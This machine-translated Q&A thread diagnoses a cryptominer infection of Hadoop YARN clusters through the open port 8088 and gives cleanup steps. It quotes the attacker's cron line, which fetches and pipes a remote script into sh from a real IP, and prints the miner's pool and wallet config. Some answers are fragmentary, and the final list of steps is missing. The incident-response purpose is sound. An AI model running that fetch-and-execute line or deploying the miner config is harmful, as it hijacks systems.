我在我的hadoop集群中收到此错误消息。有人能解释一下为什么吗? 不知怎的,2000个作业应用程序正在创建并且没有任何理由失败。
答案 0 :(得分:3)
这可能是一个黑客......有一个加密货币矿工创造了数以千计的这样的工作。
在每个可疑节点上检查cron作业为纱线并将其删除。
$ sudo -u yarn crontab -e
*/2 * * * * wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1
然后检查" java"像这样的过程杀了它。
/var/tmp/java -c /var/tmp/wc.conf
您还应该保护群集的所有传入端口,以防止其返回。
有关详细信息,请参阅此处。 https://community.hortonworks.com/questions/191898/hdp-261-virus-crytalminer-drwho.html
答案 1 :(得分:2)
编辑:我在Google Cloud Dataproc Virus CrytalMiner (dr.who)
上添加了有关如何处理此问题的小指南可能会困扰您的
zz.sh
,您可以在下面的BitBucket链接中找到它),然后下载挖掘应用程序我建议您尝试在错误日志中找到一个bitbucket / github地址。您也可以尝试查找get / wget / apt-get / curl命令。
我想他现在有钱了。
两件重要的事情:
相关:
答案 2 :(得分:1)
在Google云上,一个机器人攻击端口8088并启动了许多纱线应用程序。
1.在Google Cloud中,我添加了一个防火墙规则来停止8088访问
2.终止纱线中的所有应用
yarn application -list |grep 'dr.who'| awk '$6 == "ACCEPTED" { print $1 }'| while read app; do yarn application -kill "$app"; done
3.杀死所有属于纱线的进程(先前的步骤释放了cpu,但之后网络将耗尽)
ps -ef |grep yarn |awk '{ print $2}'|while read p ; do sudo kill -9 $p; done
现在使用控制台来跟踪纱线;-)
答案 3 :(得分:0)
您需要编辑主服务器和从服务器的安全组,并限制对用于监视纱线应用程序及其日志的端口8088的访问。资源管理器还接受纱线应用程序的发布,并通过rest API运行。单击here,以获取有关RM的REST API的更多信息。黑客使用此端口提交一个yarn应用程序,该应用程序包装了一个shell脚本,以下载monero的二进制文件并将其放入“ / var / tmp / java”等位置并运行它们。 Yarn认为这是一个应用程序,但它将启动挖掘软件。但这不是Java,如果您运行--version命令参数,则会得到低于结果的结果
[hadoop@ip-172-31-28-26 ~]$ /var/tmp/java --version
XMRig 2.6.2
built on Jun 24 2018 with GCC 6.3.0
features: 64-bit AES
此外,如果您找到文件“ /var/tmp/w.conf”,则可以打开该文件,然后可以看到他正在使用的monero钱包服务器,他的钱包地址和密码等。请参见下文,我在我的手机上找到了一个示例emr实例
{
"algo": "cryptonight",
"background": true,
"donate-level": 1,
"log-file": null,
"print-time": 60,
"max-cpu-usage": 95,
"pools": [
{
"url": "stratum+tcp://163.172.205.136:3333",
"user": "46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S",
"pass": "h",
"variant": -1
}
],
"api": {
"port": 0,
"access-token": null,
"worker-id": null
}
}
总而言之,请按照以下步骤解决此问题。
执行上述步骤将确保不会再次启动采矿程序